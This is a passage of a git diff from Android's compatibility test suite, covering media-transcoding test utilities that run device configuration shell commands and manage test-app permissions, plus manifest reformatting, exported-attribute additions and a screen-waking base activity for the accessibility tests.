+                : ParcelFileDescriptor.MODE_READ_ONLY);
+    }
+
+    public static ParcelFileDescriptor open(Uri uri, boolean forWrite, Bundle bundle)
+            throws Exception {
+        ContentResolver resolver = getContext().getContentResolver();
+        if (bundle == null) {
+            return resolver.openFileDescriptor(uri, forWrite ? "rw" : "r");
+        } else {
+            return resolver.openTypedAssetFileDescriptor(uri, "*/*", bundle)
+                    .getParcelFileDescriptor();
+        }
+    }
+
+    static byte[] read(ParcelFileDescriptor parcelFileDescriptor, int byteCount, int fileOffset)
+            throws Exception {
+        assertThat(byteCount).isGreaterThan(-1);
+        assertThat(fileOffset).isGreaterThan(-1);
+
+        Os.lseek(parcelFileDescriptor.getFileDescriptor(), fileOffset, OsConstants.SEEK_SET);
+
+        byte[] bytes = new byte[byteCount];
+        int numBytesRead = Os.read(parcelFileDescriptor.getFileDescriptor(), bytes,
+                0 /* byteOffset */, byteCount);
+        assertThat(numBytesRead).isGreaterThan(-1);
+        return bytes;
+    }
+
+    static void write(ParcelFileDescriptor parcelFileDescriptor, byte[] bytes, int byteCount,
+            int fileOffset) throws Exception {
+        assertThat(byteCount).isGreaterThan(-1);
+        assertThat(fileOffset).isGreaterThan(-1);
+
+        Os.lseek(parcelFileDescriptor.getFileDescriptor(), fileOffset, OsConstants.SEEK_SET);
+
+        int numBytesWritten = Os.write(parcelFileDescriptor.getFileDescriptor(), bytes,
+                0 /* byteOffset */, byteCount);
+        assertThat(numBytesWritten).isNotEqualTo(-1);
+        assertThat(numBytesWritten).isEqualTo(byteCount);
+    }
+
+    public static void enableTranscodingForPackage(String packageName) throws Exception {
+        executeShellCommand("device_config put storage_native_boot transcode_compat_manifest "
+                + packageName + ",0");
+        SystemClock.sleep(1000);
+    }
+
+    public static void forceEnableAppCompatHevc(String packageName) throws IOException {
+        final String command = "am compat enable 174228127 " + packageName;
+        executeShellCommand(command);
+    }
+
+    public static void forceDisableAppCompatHevc(String packageName) throws IOException {
+        final String command = "am compat enable 174227820 " + packageName;
+        executeShellCommand(command);
+    }
+
+    public static void resetAppCompat(String packageName) throws IOException {
+        final String command = "am compat reset-all " + packageName;
+        executeShellCommand(command);
+    }
+
+    public static void disableTranscodingForAllPackages() throws IOException {
+        executeShellCommand("device_config delete storage_native_boot transcode_compat_manifest");
+        SystemClock.sleep(1000);
+    }
+
+    /**
+     * Executes a shell command.
+     */
+    public static String executeShellCommand(String command) throws IOException {
+        int attempt = 0;
+        while (attempt++ < 5) {
+            try {
+                return executeShellCommandInternal(command);
+            } catch (InterruptedIOException e) {
+                // Hmm, we had trouble executing the shell command; the best we
+                // can do is try again a few more times
+                Log.v(TAG, "Trouble executing " + command + "; trying again", e);
+            }
+        }
+        throw new IOException("Failed to execute " + command);
+    }
+
+    private static String executeShellCommandInternal(String cmd) throws IOException {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try (FileInputStream output = new FileInputStream(
+                uiAutomation.executeShellCommand(cmd).getFileDescriptor())) {
+            return new String(ByteStreams.toByteArray(output));
+        }
+    }
+
+    /**
+     * Polls for external storage to be mounted.
+     */
+    public static void pollForExternalStorageState() throws Exception {
+        pollForCondition(
+                () -> Environment.getExternalStorageState(Environment.getExternalStorageDirectory())
+                        .equals(Environment.MEDIA_MOUNTED),
+                "Timed out while waiting for ExternalStorageState to be MEDIA_MOUNTED");
+    }
+
+    private static void pollForCondition(Supplier<Boolean> condition, String errorMessage)
+            throws Exception {
+        for (int i = 0; i < POLLING_TIMEOUT_MILLIS / POLLING_SLEEP_MILLIS; i++) {
+            if (condition.get()) {
+                return;
+            }
+            Thread.sleep(POLLING_SLEEP_MILLIS);
+        }
+        throw new TimeoutException(errorMessage);
+    }
+
+    public static void grantPermission(String packageName, String permission) {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity("android.permission.GRANT_RUNTIME_PERMISSIONS");
+        try {
+            uiAutomation.grantRuntimePermission(packageName, permission);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Polls until we're granted or denied a given permission.
+     */
+    public static void pollForPermission(String perm, boolean granted) throws Exception {
+        pollForCondition(() -> granted == checkPermissionAndAppOp(perm),
+                "Timed out while waiting for permission " + perm + " to be "
+                        + (granted ? "granted" : "revoked"));
+    }
+
+
+    /**
+     * Checks if the given {@code permission} is granted and corresponding AppOp is MODE_ALLOWED.
+     */
+    private static boolean checkPermissionAndAppOp(String permission) {
+        final int pid = Os.getpid();
+        final int uid = Os.getuid();
+        final Context context = getContext();
+        final String packageName = context.getPackageName();
+        if (context.checkPermission(permission, pid, uid) != PackageManager.PERMISSION_GRANTED) {
+            return false;
+        }
+
+        final String op = AppOpsManager.permissionToOp(permission);
+        // No AppOp associated with the given permission, skip AppOp check.
+        if (op == null) {
+            return true;
+        }
+
+        final AppOpsManager appOps = context.getSystemService(AppOpsManager.class);
+        try {
+            appOps.checkPackage(uid, packageName);
+        } catch (SecurityException e) {
+            return false;
+        }
+
+        return appOps.unsafeCheckOpNoThrow(op, uid, packageName) == AppOpsManager.MODE_ALLOWED;
+    }
+
+    /**
+     * Installs a {@link TestApp} and grants it storage permissions.
+     */
+    public static void installAppWithStoragePermissions(TestApp testApp)
+            throws Exception {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            final String packageName = testApp.getPackageName();
+            uiAutomation.adoptShellPermissionIdentity(
+                    Manifest.permission.INSTALL_PACKAGES, Manifest.permission.DELETE_PACKAGES);
+            if (InstallUtils.getInstalledVersion(packageName) != -1) {
+                Uninstall.packages(packageName);
+            }
+            Install.single(testApp).commit();
+            assertThat(InstallUtils.getInstalledVersion(packageName)).isEqualTo(1);
+
+            grantPermission(packageName, Manifest.permission.WRITE_EXTERNAL_STORAGE);
+            grantPermission(packageName, Manifest.permission.READ_EXTERNAL_STORAGE);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Uninstalls a {@link TestApp}.
+     */
+    public static void uninstallApp(TestApp testApp) throws Exception {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            final String packageName = testApp.getPackageName();
+            uiAutomation.adoptShellPermissionIdentity(Manifest.permission.DELETE_PACKAGES);
+
+            Uninstall.packages(packageName);
+            assertThat(InstallUtils.getInstalledVersion(packageName)).isEqualTo(-1);
+        } catch (Exception e) {
+            Log.e(TAG, "Exception occurred while uninstalling app: " + testApp, e);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Makes the given {@code testApp} open a file for read or write.
+     *
+     * <p>This method drops shell permission identity.
+     */
+    public static ParcelFileDescriptor openFileAs(TestApp testApp, File dirPath)
+            throws Exception {
+        String actionName = getContext().getPackageName() + ".open_file";
+        Bundle bundle = getFromTestApp(testApp, dirPath.getPath(), actionName);
+        return getContext().getContentResolver().openFileDescriptor(
+                bundle.getParcelable(actionName), "rw");
+    }
+
+    /**
+     * <p>This method drops shell permission identity.
+     */
+    private static Bundle getFromTestApp(TestApp testApp, String dirPath, String actionName)
+            throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final Bundle[] bundle = new Bundle[1];
+        BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                bundle[0] = intent.getExtras();
+                latch.countDown();
+            }
+        };
+
+        sendIntentToTestApp(testApp, dirPath, actionName, broadcastReceiver, latch);
+        return bundle[0];
+    }
+
+    /**
+     * <p>This method drops shell permission identity.
+     */
+    private static void sendIntentToTestApp(TestApp testApp, String dirPath, String actionName,
+            BroadcastReceiver broadcastReceiver, CountDownLatch latch) throws Exception {
+        final String packageName = testApp.getPackageName();
+        forceStopApp(packageName);
+        // Register broadcast receiver
+        final IntentFilter intentFilter = new IntentFilter();
+        intentFilter.addAction(actionName);
+        intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
+        getContext().registerReceiver(broadcastReceiver, intentFilter);
+
+        // Launch the test app.
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setPackage(packageName);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(INTENT_QUERY_TYPE, actionName);
+        intent.putExtra(INTENT_EXTRA_CALLING_PKG, getContext().getPackageName());
+        intent.putExtra(INTENT_EXTRA_PATH, dirPath);
+        intent.addCategory(Intent.CATEGORY_LAUNCHER);
+        getContext().startActivity(intent);
+        if (!latch.await(POLLING_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)) {
+            final String errorMessage = "Timed out while waiting to receive " + actionName
+                    + " intent from " + packageName;
+            throw new TimeoutException(errorMessage);
+        }
+        getContext().unregisterReceiver(broadcastReceiver);
+    }
+
+    /**
+     * <p>This method drops shell permission identity.
+     */
+    private static void forceStopApp(String packageName) throws Exception {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(Manifest.permission.FORCE_STOP_PACKAGES);
+
+            getContext().getSystemService(ActivityManager.class).forceStopPackage(packageName);
+            Thread.sleep(1000);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    public static void assertFileContent(File file1, File file2, ParcelFileDescriptor pfd1,
+            ParcelFileDescriptor pfd2, boolean assertSame) throws Exception {
+        final int len = 1024;
+        byte[] bytes1;
+        byte[] bytes2;
+        int size1 = 0;
+        int size2 = 0;
+
+        boolean isSame = true;
+        do {
+            bytes1 = new byte[len];
+            bytes2 = new byte[len];
+
+            size1 = Os.read(pfd1.getFileDescriptor(), bytes1, 0, len);
+            size2 = Os.read(pfd2.getFileDescriptor(), bytes2, 0, len);
+
+            assertTrue(size1 >= 0);
+            assertTrue(size2 >= 0);
+
+            isSame = (size1 == size2) && Arrays.equals(bytes1, bytes2);
+            if (!isSame) {
+                break;
+            }
+        } while (size1 > 0 && size2 > 0);
+
+        String message = String.format("Files: %s and %s. isSame=%b. assertSame=%s",
+                file1, file2, isSame, assertSame);
+        assertEquals(message, isSame, assertSame);
+    }
+
+    public static void assertTranscode(Uri uri, boolean transcode) throws Exception {
+        long start = SystemClock.elapsedRealtimeNanos();
+        assertTranscode(open(uri, true, null /* bundle */), transcode);
+    }
+
+    public static void assertTranscode(File file, boolean transcode) throws Exception {
+        assertTranscode(open(file, false), transcode);
+    }
+
+    public static void assertTranscode(ParcelFileDescriptor pfd, boolean transcode)
+            throws Exception {
+        long start = SystemClock.elapsedRealtimeNanos();
+        assertEquals(10, Os.pread(pfd.getFileDescriptor(), new byte[10], 0, 10, 0));
+        long end = SystemClock.elapsedRealtimeNanos();
+        long readDuration = end - start;
+
+        // With transcoding read(2) > 100ms (usually > 1s)
+        // Without transcoding read(2) < 10ms (usually < 1ms)
+        String message = "readDuration=" + readDuration + "ns";
+        if (transcode) {
+            assertTrue(message, readDuration > TimeUnit.MILLISECONDS.toNanos(100));
+        } else {
+            assertTrue(message, readDuration < TimeUnit.MILLISECONDS.toNanos(10));
+        }
+    }
+
+    public static boolean isAppIoBlocked(StorageManager sm, UUID uuid) {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity("android.permission.WRITE_MEDIA_STORAGE");
+        try {
+            return sm.isAppIoBlocked(uuid, Process.myUid(), Process.myTid(),
+                    StorageManager.APP_IO_BLOCKED_REASON_TRANSCODING);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+}
diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml
index 4a7348d..bf3b1a8 100644
--- a/tests/accessibility/AndroidManifest.xml
+++ b/tests/accessibility/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
  * Copyright (C) 2012 The Android Open Source Project
  *
@@ -17,79 +16,83 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.view.accessibility.cts"
-          android:targetSandboxVersion="2">
+     package="android.view.accessibility.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
 
     <application android:theme="@android:style/Theme.Holo.NoActionBar"
-            android:requestLegacyExternalStorage="true">
+         android:requestLegacyExternalStorage="true">
         <uses-library android:name="android.test.runner"/>
         <service android:name=".SpeakingAccessibilityService"
-                 android:label="@string/title_speaking_accessibility_service"
-                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+             android:label="@string/title_speaking_accessibility_service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService"/>
             </intent-filter>
             <meta-data android:name="android.accessibilityservice"
-                       android:resource="@xml/speaking_accessibilityservice" />
+                 android:resource="@xml/speaking_accessibilityservice"/>
         </service>
 
         <service android:name=".VibratingAccessibilityService"
-                 android:label="@string/title_vibrating_accessibility_service"
-                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+             android:label="@string/title_vibrating_accessibility_service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService"/>
             </intent-filter>
             <meta-data android:name="android.accessibilityservice"
-                       android:resource="@xml/vibrating_accessibilityservice" />
+                 android:resource="@xml/vibrating_accessibilityservice"/>
         </service>
 
         <service android:name=".SpeakingAndVibratingAccessibilityService"
-                 android:label="@string/title_speaking_and_vibrating_accessibility_service"
-                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+             android:label="@string/title_speaking_and_vibrating_accessibility_service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService"/>
             </intent-filter>
             <meta-data android:name="android.accessibilityservice"
-                       android:resource="@xml/speaking_and_vibrating_accessibilityservice" />
+                 android:resource="@xml/speaking_and_vibrating_accessibilityservice"/>
         </service>
 
         <service android:name=".AccessibilityButtonService"
-                 android:label="@string/title_accessibility_button_service"
-                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+             android:label="@string/title_accessibility_button_service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService"/>
             </intent-filter>
             <meta-data android:name="android.accessibilityservice"
-                       android:resource="@xml/accessibility_button_service" />
+                 android:resource="@xml/accessibility_button_service"/>
         </service>
 
-        <activity
-            android:label="@string/some_description"
-            android:name=".DummyActivity"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/some_description"
+             android:name=".DummyActivity"
+             android:screenOrientation="locked"/>
 
         <activity android:name=".AccessibilityShortcutTargetActivity"
-                  android:label="@string/shortcut_target_title">
+             android:label="@string/shortcut_target_title"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.ACCESSIBILITY_SHORTCUT_TARGET" />
+                <category android:name="android.intent.category.ACCESSIBILITY_SHORTCUT_TARGET"/>
             </intent-filter>
             <meta-data android:name="android.accessibilityshortcut.target"
-                       android:resource="@xml/shortcut_target_activity"/>
+                 android:resource="@xml/shortcut_target_activity"/>
         </activity>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.view.accessibility.cts"
-                     android:label="Tests for the accessibility APIs.">
+         android:targetPackage="android.view.accessibility.cts"
+         android:label="Tests for the accessibility APIs.">
         <meta-data android:name="listener"
-                   android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/accessibility/OWNERS b/tests/accessibility/OWNERS
index e54f581..0d2264c 100644
--- a/tests/accessibility/OWNERS
+++ b/tests/accessibility/OWNERS
@@ -1,3 +1,5 @@
 # Bug component: 44214
 pweaver@google.com
 rhedjao@google.com
+qasid@google.com
+ryanlwlin@google.com
diff --git a/tests/accessibility/res/xml/speaking_accessibilityservice.xml b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
index 9128309..1cb6c39 100644
--- a/tests/accessibility/res/xml/speaking_accessibilityservice.xml
+++ b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
@@ -26,4 +26,5 @@
     android:htmlDescription="@string/html_description_speaking_accessibility_service"
     android:summary="@string/some_summary"
     android:nonInteractiveUiTimeout="1000"
-    android:interactiveUiTimeout="6000"/>
\ No newline at end of file
+    android:interactiveUiTimeout="6000"
+    android:isAccessibilityTool="true"/>
\ No newline at end of file
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
index 2fb7916..6250d16 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
@@ -144,5 +145,6 @@
                 speakingService.getInteractiveUiTimeoutMillis());
         assertEquals(/* expected= */ 1000,
                 speakingService.getNonInteractiveUiTimeoutMillis());
+        assertTrue(speakingService.isAccessibilityTool());
     }
 }
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTargetActivity.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTargetActivity.java
index 921a769..95f17f8 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTargetActivity.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityShortcutTargetActivity.java
@@ -16,16 +16,13 @@
 
 package android.view.accessibility.cts;
 
-import android.app.Activity;
-import android.app.KeyguardManager;
-import android.content.Context;
 import android.os.Bundle;
 import android.view.accessibility.cts.R;
 
 /**
  * The accessibility shortcut target activity.
  */
-public class AccessibilityShortcutTargetActivity extends Activity {
+public class AccessibilityShortcutTargetActivity extends AccessibilityTestActivity {
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityTestActivity.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityTestActivity.java
new file mode 100644
index 0000000..95fe97b
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityTestActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.accessibility.cts;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public abstract class AccessibilityTestActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        turnOnScreen();
+        super.onCreate(savedInstanceState);
+    }
+
+    private void turnOnScreen() {
+        setTurnScreenOn(true);
+        setShowWhenLocked(true);
+        KeyguardManager keyguardManager = getSystemService(KeyguardManager.class);
+        keyguardManager.requestDismissKeyguard(this, null);
+    }
+}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/DummyActivity.java b/tests/accessibility/src/android/view/accessibility/cts/DummyActivity.java
index b184fe8..ef70887 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/DummyActivity.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/DummyActivity.java
@@ -16,7 +16,4 @@
 
 package android.view.accessibility.cts;
 
-import android.app.Activity;
-
-public class DummyActivity extends Activity {
-}
+public class DummyActivity extends AccessibilityTestActivity {}
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index cdc8a64..038af75 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -16,202 +16,192 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.accessibilityservice.cts"
-          android:targetSandboxVersion="2">
+     package="android.accessibilityservice.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-permission android:name="android.permission.USE_FINGERPRINT" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-permission android:name="android.permission.USE_FINGERPRINT"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
     <application android:theme="@android:style/Theme.Holo.NoActionBar"
-                 android:requestLegacyExternalStorage="true">
+         android:requestLegacyExternalStorage="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:label="@string/accessibility_end_to_end_test_activity"
-            android:name=".activities.AccessibilityEndToEndActivity"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_end_to_end_test_activity"
+             android:name=".activities.AccessibilityEndToEndActivity"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_query_window_test_activity"
-            android:name=".activities.AccessibilityWindowQueryActivity"
-            android:supportsPictureInPicture="true"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_query_window_test_activity"
+             android:name=".activities.AccessibilityWindowQueryActivity"
+             android:supportsPictureInPicture="true"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_view_tree_reporting_test_activity"
-            android:name=".activities.AccessibilityViewTreeReportingActivity"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_view_tree_reporting_test_activity"
+             android:name=".activities.AccessibilityViewTreeReportingActivity"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_focus_and_input_focus_sync_test_activity"
-            android:name=".activities.AccessibilityFocusAndInputFocusSyncActivity"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_focus_and_input_focus_sync_test_activity"
+             android:name=".activities.AccessibilityFocusAndInputFocusSyncActivity"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_text_traversal_test_activity"
-            android:name=".activities.AccessibilityTextTraversalActivity"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_text_traversal_test_activity"
+             android:name=".activities.AccessibilityTextTraversalActivity"
+             android:screenOrientation="locked"/>
 
         <activity android:label="Activity for testing window accessibility reporting"
              android:name=".activities.AccessibilityWindowReportingActivity"
              android:supportsPictureInPicture="true"
              android:screenOrientation="locked"/>
 
-        <activity
-            android:label="Full screen activity for gesture dispatch testing"
-            android:name=".AccessibilityGestureDispatchTest$GestureDispatchActivity"
-            android:theme="@style/Theme_NoSwipeDismiss"
-            android:screenOrientation="locked" />
+        <activity android:label="Full screen activity for gesture dispatch testing"
+             android:name=".AccessibilityGestureDispatchTest$GestureDispatchActivity"
+             android:theme="@style/Theme_NoSwipeDismiss"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_soft_keyboard_modes_activity"
-            android:name=".AccessibilitySoftKeyboardModesTest$SoftKeyboardModesActivity" />
+        <activity android:label="@string/accessibility_soft_keyboard_modes_activity"
+             android:name=".AccessibilitySoftKeyboardModesTest$SoftKeyboardModesActivity"/>
 
-        <activity
-            android:label="@string/accessibility_embedded_display_test_parent_activity"
-            android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayParentActivity"
-            android:theme="@android:style/Theme.Dialog"
-            android:screenOrientation="locked" />
+        <activity android:label="@string/accessibility_embedded_display_test_parent_activity"
+             android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayParentActivity"
+             android:theme="@android:style/Theme.Dialog"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_embedded_display_test_activity"
-            android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayActivity"
-            android:screenOrientation="locked" />
+        <activity android:label="@string/accessibility_embedded_display_test_activity"
+             android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayActivity"
+             android:screenOrientation="locked"/>
 
-        <activity
-            android:label="@string/accessibility_embedded_hierarchy_test_activity"
-            android:name=".AccessibilityEmbeddedHierarchyTest$AccessibilityEmbeddedHierarchyActivity"
-            android:theme="@android:style/Theme.Dialog"
-            android:screenOrientation="locked"/>
+        <activity android:label="@string/accessibility_embedded_hierarchy_test_activity"
+             android:name=".AccessibilityEmbeddedHierarchyTest$AccessibilityEmbeddedHierarchyActivity"
+             android:theme="@android:style/Theme.Dialog"
+             android:screenOrientation="locked"/>
 
-        <service
-            android:name=".StubSystemActionsAccessibilityService"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubSystemActionsAccessibilityService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_system_actions_a11y_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_system_actions_a11y_service"/>
         </service>
 
-        <service
-                android:name=".StubGestureAccessibilityService"
-                android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".StubGestureAccessibilityService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_gesture_dispatch_a11y_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_gesture_dispatch_a11y_service"/>
         </service>
 
-        <service
-                android:name=".GestureDetectionStubAccessibilityService"
-                android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".GestureDetectionStubAccessibilityService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
-            <meta-data
-                    android:name="android.accessibilityservice"
-                    android:resource="@xml/stub_gesture_detect_a11y_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_gesture_detect_a11y_service"/>
         </service>
 
-        <service
-                android:name=".TouchExplorationStubAccessibilityService"
-                android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name=".TouchExplorationStubAccessibilityService"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
-            <meta-data
-                    android:name="android.accessibilityservice"
-                    android:resource="@xml/stub_touch_exploration_a11y_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_touch_exploration_a11y_service"/>
         </service>
-        <service
-            android:name="android.accessibility.cts.common.InstrumentedAccessibilityService"
-            android:label="@string/title_soft_keyboard_modes_accessibility_service"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
